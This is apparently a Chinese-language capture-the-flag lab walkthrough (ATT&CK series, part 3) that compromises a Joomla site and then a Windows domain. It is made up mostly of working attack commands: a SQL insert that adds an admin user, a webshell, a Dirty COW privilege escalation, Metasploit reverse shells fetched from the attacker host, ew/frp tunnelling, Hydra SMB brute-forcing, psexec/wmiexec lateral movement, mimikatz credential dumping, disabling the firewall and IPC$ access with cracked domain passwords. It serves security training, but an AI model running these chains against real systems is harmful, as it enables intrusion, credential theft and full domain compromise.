ATT&CK(三)

环境搭建

image-20220920155030518

重启一下 centros的网卡

/etc/init.d/network restart

image-20220920155001009

接着把kali也调成桥接模式

重新获取下ip

image-20220920155041513

外网

这里就演示下怎么获取到这个ip

nmap 192.168.220.0/24

image-20220920155137527

nmap -sS -O -A -T4 -p- 10.184.61.236

image-20220920194123966

有个 80 和 mysql

image-20220920194458453

这里发现是使用的joomscan框架

joomscan --help
joomscan -u http://10.184.61.236/

image-20220920210356709

这里扫到了mysql的账号密码

扫到的phpinfo页面

image-20220920211240757

直接连上去看看

image-20220920210743802

找到个密码

image-20220920210818736

image-20220920211210824

image-20220920211428893

这里肯定不能直接改原来的密码啊

我们用底下这个添加一个新用户

image-20220923162206825

INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Super User', 'wanan', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8');

image-20220923163127811

修改后直接提交

image-20220923163203736

接着使用密码直接登录

image-20220923163346907

直接后台交个模板

image-20220920213504233

先看下disable_function

image-20220920213553867

写个马先

image-20220920214024506

蚁剑插件直接绕

image-20220920214209022

image-20220920215646402

添加这个马

但是呢你会发现不能执行命令

image-20220920215712503

原因就是这个url有问题

image-20220920215704384

image-20220920215914601

再试就没问题了

ubuntu渗透

ubuntu信息收集

whoami

image-20220920220305229

uname -a

image-20220920221309768

ifconfig -a

image-20220920221400372

这里就出问题了啊 这个网卡一看就是一个内网的,那么很容易就能想到这个流量是从后面的web服务器上面转发出来的

route

image-20220920221503772

ip neigh
查看邻居表

image-20220920221739307

arp -e
查看arp缓冲区

image-20220920221834596

cat /etc/resolv.conf

image-20220920221916036

翻到了一个命令

wwwuser_123Aqx

image-20220920222148814

连上了

image-20220920222935715

可以发现这个就是上面那个 100

web渗透

centros信息收集

whoami
uname -a
hostname
groups
pwd

image-20220920223229507

route

image-20220920223244524

ip neigh

image-20220920223315482

arp -a

image-20220920223504710

centros提权

先启动一个服务去放脏牛漏洞的脚本

image-20220920224412893

image-20220920224936862

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123.com

image-20220920225417527

上线msf

直接下载上线

use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 192.168.57.175
run

image-20220922184320027

把命令拿去 web 执行

image-20220922184328531

sessions 1

成功上线

image-20220922184430829

添加路由代理

run get_local_subnets
run autoroute -s 192.168.93.0/24
run autoroute -p
bg

image-20220922184704036

这里其实msf已经配置上代理的 这里先简单收集下ip

use auxiliary/scanner/discovery/udp_probe 
set rhosts 192.168.93.1-255
set threads 20
run

image-20220922185349377

但是其实这里的话只有msf设置了代理 其他的应用其实并没有设置代理 因此我们使用ew去进行一下流量转发

ew软件配置代理

git clone https://github.com/idlefire/ew.git 
cd ew 
python3 -m http.server

image-20220922185527483

chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

image-20220922185714387

wget http://192.168.57.175:8000/ew_for_linux64

image-20220922185539303

chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.57.175 -e 1234

image-20220922185822255

edit /etc/proxychains4.conf

image-20220922185931410

image-20220922185922655

不知道为啥ping不通但是 其实是挂上了

image-20220922191004411

image-20220922191023844

msf代理模块

run get_local_subnets
run autoroute -s 192.168.93.0/24 
run autoroute -p
background

image-20220922192117104

use auxiliary/server/socks_proxy

set version 5

set srvhost 192.168.57.175

edit /etc/proxychains4.conf

image-20220922193117882

run
proxychains curl http://192.168.93.100

image-20220922193153278

信息收集

use auxiliary/scanner/discovery/udp_probe 
set rhosts 192.168.93.1-255
set threads 20
run

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.10
options
run

image-20220922200715383

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.20
options
run

image-20220922203758438

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.30
options
run

image-20220922203907739

爆破smb

密码爆破出来是 123qwe!ASD 字典没有的话可以先加上

proxychains hydra -l administrator -P /root/top1000.txt smb://192.168.93.30

image-20220922205218947

proxychains hydra -l administrator -P /root/top1000.txt smb://192.168.93.20

image-20220922205310840

use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.93.30

set PASS_FILE /root/top1000.txt

set SMBUser administrator

exploit

image-20220922205712954

测试2008

wmiexec 横向移动

github下载单个文件

http://blog.luckly-mjw.cn/tool-show/github-directory-downloader/index.html

image-20220922211616213

proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

image-20220922211530226

ipconfig /all

image-20220922212044989

tasklist /V
查看当前任务

image-20220922212326151

发现了test域下的内容

proxychains smbclient //192.168.93.20/C$ -U administrator

输入密码 123qwe!ASD

image-20220922213133510

抓域密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

image-20220922213311639

windows/smb/psexec横向移动

使用msf自带模块登录

use windows/smb/psexec
set rhosts 192.168.93.20
set smbpass 123qwe!ASD
set smbuser Administrator
set payload windows/meterpreter/bind_tcp
run

image-20220922221041544

迁移进程

ps
migrate 756

image-20220922221736415

dump一下 密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

image-20220922222154520

测试win7

use windows/smb/psexec
set rhosts 192.168.93.30
set smbpass 123qwe!ASD
set smbuser Administrator
set payload windows/meterpreter/bind_tcp
run

image-20220922220942805

image-20220922222522986

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

image-20220922222454781

frp流量转发

wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz

image-20220923115218931

frps.ini

新版本不能使用注释

vim frps.ini 
[common]
bind_addr = 0.0.0.0        
bind_port = 17000          
dashboard_addr = 0.0.0.0   
dashboard_port = 27500     
dashboard_user = root      
dashboard_pwd  = toor    
token = wanan             
heartbeat_timeout = 90    
max_pool_count = 5        
[common]
bind_addr = 0.0.0.0        #绑定的ip，为本机
bind_port = 17000          #绑定的端口
dashboard_addr = 0.0.0.0   #管理地址
dashboard_port = 27500     #管理端口
dashboard_user = root      #管理的用户名
dashboard_pwd  = toor    #管理用户的密码
token = wanan             #客户端服务端连接的密码
heartbeat_timeout = 90     #心跳超时时间
max_pool_count = 5         #最大同时连接数

image-20220923120527027

./frps -c frps.ini

image-20220923120437646

frpc.ini

新版本不能使用注释

vim frpc.ini
[common]
server_addr = 10.184.62.17　　
server_port = 17000
token = wanan 
pool_count = 5        
protocol = tcp                
health_check_type = tcp
health_check_interval_s = 100
[test] 
remote_port = 10000           
plugin = socks5               
use_encryption = true         
use_compression = true
[common]
server_addr = 10.184.62.17　　＃kali的IP地址
server_port = 17000
token = wanan 
pool_count = 5        
protocol = tcp                #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test] 
remote_port = 10000           #代理的端口
plugin = socks5               #使用的协议
use_encryption = true         #是否加密
use_compression = true

image-20220923120055953

./frpc -c frpc.ini

image-20220923120547799

image-20220923120732628

image-20220923120812239

image-20220923121149879

wmiexec.exe 连接域控

https://github.com/ropnop/impacket_static_binaries/releases

image-20220923122236575

.\wmiexec.exe administrator:zxcASDqw123!!@192.168.93.10

image-20220923122548254

上线2012

msfvenom -p windows/meterpreter/bind_tcp lhost=10.184.62.17 lport=6666 -f exe > 2012.exe

上传到2008

upload 2012.exe
ls

image-20220923154744658

shell
net use \\192.168.93.10\c$ "zxcASDqw123!!" /user:test.org\Administrator
copy 2012.exe \\192.168.93.10\c$

image-20220923155929191

image-20220923160247156

先关闭防火墙

NetSh Advfirewall set allprofiles state off

image-20220923160528698

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
set lport 6666
run

image-20220923160258433

image-20220923160539128

迁移一下进程

image-20220923160617278

ipc远程连接读flag

IPC$ 是共享”命名管道”的资源,他是为了让进程通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源是使用,利用ipc$连接这可以与目标主机建立一个连接,得到目标主机上的目录结构 用户列表 等信息

利用条件

  1. 管理员开启了默认共享
  2. 139或者445端口开放

域管理员密码

zxcASDqw123!!
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
net session
dir \\192.168.93.10\C$\users\administrator\Documents
type \\192.168.93.10\C$\users\administrator\Documents\flag.txt

image-20220922214422539

image-20220922214528747

image-20220923181353121